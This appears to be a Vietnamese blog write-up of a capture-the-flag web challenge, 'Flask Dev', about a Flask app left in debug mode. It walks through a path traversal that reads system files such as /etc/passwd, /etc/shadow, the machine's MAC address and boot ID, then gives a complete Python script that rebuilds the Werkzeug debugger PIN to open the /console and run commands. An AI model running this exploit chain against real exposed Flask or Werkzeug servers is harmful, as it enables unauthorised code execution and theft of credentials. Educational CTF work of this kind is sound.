Write-Up Flask Dev
ĐỊA CHỈ: Flask Dev
Challenge Details
The flask application is running in debug mode. Can you hack it?
(Rất ngắn gọn và súc tích 🙂).
Tags
- Pin Code
- Flask
- Debug
- Remote Code Execution
Web Analysis:
Tại /
trang web:
Hiển thị rất là chi tiết dòng chuổi Hello !
Dùng burpsuite bắt cũng được 2 gói tin không có gì đặc biệt 🙂
Nhiệm vụ là Remote Access Control (Kiểm soát quyền truy cập) chỉ với nhiêu thông tin này.
Sau khi mò 77 49 không có thông tin gì có thể khai thác được trên trang web mình tiến hành sử dụng các tools Recon.
RECON:
Mình sử dụng Scan trên Burpsuite Pro ( bạn nào chưa cài thì ở Blog mình có hướng dẫn).
Mình thấy /robots.txt
đỏ như chưa từng được đỏ.
Mình vào thì thấy nó hiện ra error và tìm file không thấy. +1 IDEA: Tại vì cái file ở thư mục /
nó không có nên trang web báo lỗi là FileNotFoundError. Nếu giả sử mình truy cập vào đúng file đúng đường dẫn thì nó sẽ hiện ra gì đó.
Mà giao diện này các bạn sẽ thỉnh thoảng thấy các challenge build từ flask python.
Tại dòng bug này có ô console nhưng nó yêu cầu nhập PIN CODE đúng tags gợi ý đề bài, vậy giờ mình làm sao để tìm ra PIN CODE.
Lúc này mình quan sát thấy nó báo bug ở 1 số đường dẫn và mình thử truy cập xem được không.
Kết quả vẫn không được.
Mà giao diện ở mỗi trang web tại đường dẫn /
thường là /var/www/html → /
Nên việc mình truy cập vào như vậy trang web sẽ hiểu là /var/www/html/usr/local/lib/python3.8/site-packages/flask/app.py
Nên hơi bị sai sai…
Bắt đầu mình test thử bug LFI/Path Traversal
. ( Lúc đó mình kiếm gì test đại chứ không còn IDEA nào mới 😥).
À thường các bug LFI thường có parameter đi theo sau PATH kiểu ?param= mà hiện tại trang web này không có nên mình test từ /
Nhưng chưa kịp TEST thì con Burp Suite báo có lổ hổng LFI luôn :)) .
Có tương lai hơn rồi đó 🙂 .
+1 user: cookiehanhoan
Giờ mình tiến hành xem các file trong hệ thống, mà challenge này không có source, nhưng lúc web bị bug thì lộ nè.
Xem thử
Tèn ten, nhưng hơi dài mình copy qua VSCODE xem cho dễ. (khoảng 2215 dòng chớ mấy 😊)
Sau khi nhờ chatgpt đọc 77 49 lần không có manh mối 😓
Mình tiến hành search từ Khóa “FLASK EXPLOIT, CONSOLE PIN CODE EXPLOIT PYTHON…”
Thì có trên trang HACKTRICK : TẠI ĐÂY
Thì trong bài có để là “BẠN CÓ THỂ ĐẢO NGƯỢC THUẬT TOÁN VÀ TẠO RA MÃ PIN” Từ
python3.5/site-packages/werkzeug/debug/__init__.py
nhưng trang web là Python3.8 mình thay đỗi đường dẫn và thử xem file.(lần này đỡ hơn chỉ có 534 dòng).
Dựa theo trang Hacktrick thì nó dễ dàng hơn
Ta đi tìm từng manh mối.
Mảnh ghép số 1.
Mảnh ghép số 2.
Địa chỉ MAC ta chuyển lại thành DECIMAL nha.
11820914965943
Tools: CLICK
Mảnh ghép số 3.
Mình thử
/etc/machine-id
không được nên chuyển sang/proc/sys/kernel/random/boot_id
.fe951ca9-6815-4da7-aec4-b5a04c351f34
Mảnh ghép số 4.
Mà
Nên mình sẽ lấy từ đoạn đuôi nha.
11:devices:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod4a591b2c_0e3d_4645_84e8_bd29cb98e576.slice/
cri-containerd-c4da6254edaffec84c8d165a4286f05f82465ee33b88febc42f783d541306329.scope
Đủ mảnh ghép rồi tiến hành EXPLOIT.
EXPLOIT CONSOLE PIN CODE:
KẾT HỢP :
- USER :
ROOT
- MODNAME:
Flask.py
getattr(app, '__name__', getattr (app .__ class__, '__name__'))
isFlask
getattr(mod, '__file__', None)
is the absolute path ofapp.py
:/usr/local/lib/python3.8/site-packages/flask/app.py
- MẢNH GHÉP 1
- MẢNH GHÉP 2 :
11820914965943
- MẢNH GHÉP 3 :
fe951ca9-6815-4da7-aec4-b5a04c351f34
- MẢNH GHÉP 4 :
cri-containerd-c4da6254edaffec84c8d165a4286f05f82465ee33b88febc42f783d541306329.scope
Nhưng khúc này mình đã phải mất 2 ngày :)
Kéo lại lên trên khúc /etc/shadow
mình cứ ngỡ là user cookiehanhoan
nhưng nó là user root
🙂
Nhờ sự khác biệt này.
Các user đều có dấu chấm thang theo mình hiểu là nó bị permission còn user root là all quyền 🙂
Thay đỗi và thành công 🙂
PALOAD :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import hashlib
from itertools import chain
probably_public_bits = [
"root", # /etc/passwd
"flask.app",
"Flask",
"/usr/local/lib/python3.8/site-packages/flask/app.py",
]
private_bits = [
"11820914965943", # MAC -> int /sys/class/net/eth0/address
"fe951ca9-6815-4da7-aec4-b5a04c351f34cri-containerd-c4da6254edaffec84c8d165a4286f05f82465ee33b88febc42f783d541306329.scope"
# /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
rv = None
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
Chổ dài này là Mảnh ghép 3 + 4 mình có để tag ghi chú.
RUN CODE
Lúc này ta có mã Pin rồi.
Nhập thử
Truy cập và /console
Lúc này có 1 terminal có thể thực thi code python giờ mình gọi hàm system và xem file
DONEEE 🙂 Bài này khá phê… tốn thời gian tận mấy ngày :))
Cảm ơn đã đọc blogs của mình nếu thấy hay nhớ nhận xét giúp mình ở đây nè, để mình biết cải thêm chất lượng write up.
THANK YOU 😗